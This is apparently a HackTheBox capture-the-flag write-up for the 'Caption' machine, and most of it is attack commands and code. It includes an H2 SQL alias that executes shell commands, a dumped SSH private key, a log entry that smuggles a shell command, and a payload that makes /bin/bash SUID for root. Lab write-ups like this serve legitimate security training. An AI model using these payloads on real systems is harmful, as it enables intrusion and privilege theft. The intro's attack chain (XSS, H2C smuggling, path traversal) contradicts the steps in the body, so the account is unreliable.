Caption HackTheBox Writeup

Amal PKAmal PK
4 min read

Caption is a Hard-difficulty Linux box, showcasing the chaining of niche vulnerabilities arising from different technologies such as HAProxy and Varnish. It begins with default credentials granting access to GitBucket, which exposes credentials for a web portal login through commits. The application caches a frequently visited page by an admin user, whose session can be hijacked by exploiting Web Cache Deception (WCD) via response poisoning exploited through a Cross-Site Scripting (XSS) payload. HAProxy controls can be bypassed by establishing an HTTP/2 cleartext tunnel, also known as an H2C Smuggling Attack, enabling the exploitation of a locally running service vulnerable to path traversal ([CVE-2023-37474](https://security.snyk.io/vuln/SNYK-PYTHON-COPYPARTY-5777718)). A foothold is gained by reading the SSH ECDSA private key. Root privileges are obtained by exploiting a command injection vulnerability in the Apache Thrift service running as root.

Machine Info:

IP: 10.10.11.33
Difficulty: Hard
OS: Linux
Category:

Enumeration

Nmap Scan

Nmap scan report for caption.htb (10.10.11.33)
Host is up (0.76s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

The initial enumeration of caption.htb reveals three open ports:

  • 22/tcp - SSH

  • 80/tcp - HTTP (Caption Portal Login)

  • 8080/tcp - GitBucket (Web App)

Navigating to http://caption.htb:8080 displays the GitBucket login interface.

GitBucket Exploit

  • Credentials: root:root (Defailt creds for gitbucket)

Once logged in, you find a commit disclosing a password for the user "margo":

  • User: margo

  • Password: vFr&cS2#0!

You also discover an H2 database viewer at:

Command Execution via H2 Database

H2 allows defining custom Java methods via SQL aliases. A remote command execution alias is created

CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : "";
}
$$;

Executing commands:

CALL SHELLEXEC('id');

Returns:

uid=1000(margo) gid=1000(margo) groups=1000(margo)

We can also dump the SSH private key of the user "margo":

CALL SHELLEXEC('cat /home/margo/.ssh/id_ecdsa');

SSH Access

Extract the private key, save it, and adjust permissions:

cat <<EOF > id_ecdsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQSANe5kEY+DN1xSvPtTZVur+DWGq94h1gSFMvzv5iec
YwuC7ymT7QWZM+42IIVZQ5GqkIE5uLHyqtVKytQu5aCLAAAAoACUCKoAlAiqAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIA17mQRj4M3XFK8+1NlW6v4NYar3iHWBIUy/O/m
J5xjC4LvKZPtBZkz7jYghVlDkaqQgTm4sfKq1UrK1C7loIsAAAAhAOZNLY0cYdeM6shGDro9tude
7oBNK+hIIh0AmL8JK+ShAAAAAAECAwQFBgc=
-----END OPENSSH PRIVATE KEY-----
EOF

Save and chmod the key locally:

chmod 600 id_ecdsa
ssh -i id_ecdsa margo@caption.htb

Internal Enumeration & Port Forwarding

To enumerate internal services, set up port forwarding to access internal services:

ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb

This reveals a Thrift-based service running locally.

Privilege Escalation: Log Parser Exploitation

To escalate privileges, we can exploit log parsing to run a payload.

Step 1: Create Malicious Log File

echo '127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #' > /tmp/malicious.log

Step 2: Create Payload Script

echo 'chmod +s /bin/bash' > /tmp/payload.sh
pip download thrift
scp -i /home/kratos/HTB/Caption/id_ecdsa thrift-*.tar.gz margo@caption.htb:/tmp
thrift-0.20.0.tar.gz

Thrift Client Setup

Create a Thrift file log_service.thrift:

thrift
namespace go log_service

service LogService {
string ReadLogFile(1: string filePath)
}

Generate the Thrift client:

thrift -r --gen py log_service.thrift

Create a Python client client.py:

from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

def main():
    transport = TSocket.TSocket('localhost', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
    client = LogService.Client(protocol)
    transport.open()

    try:
        log_file_path = "/tmp/malicious.log"
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")
    transport.close()

if __name__ == '__main__':
    main()

Install Thrift and run the client:

pip3 install thrift
python3 [client.py](<http://client.py/>)

Output:

Server response: Log file processed

Privilege Escalation

After the malicious payload runs, verify the SUID bit on /bin/bash:

ls -l /bin/bash
/bin/bash -p
whoami

You are now root.

Conclusion

The Caption box illustrates how default credentials, exposed development tools, and improper log parsing can lead to full system compromise. It starts with accessing GitBucket using factory credentials, leading to remote code execution via the H2 console. With a foothold as margo, the attacker leverages an insecure Thrift service to escalate privileges by crafting a malicious log file that executes commands with elevated permissions.

0
Subscribe to my newsletter

Read articles from Amal PK directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Amal PK
Amal PK

I'm a Security Analyst in cybersecurity, focused on keeping applications safe and identifying vulnerabilities. I specialize in application security, analyze and fortify systems against threats, and communicate effectively in fast-paced environments. I've excelled in CTF challenges, showcasing my ability to tackle complex security issues, and I'm committed to continuous learning and innovation in the field.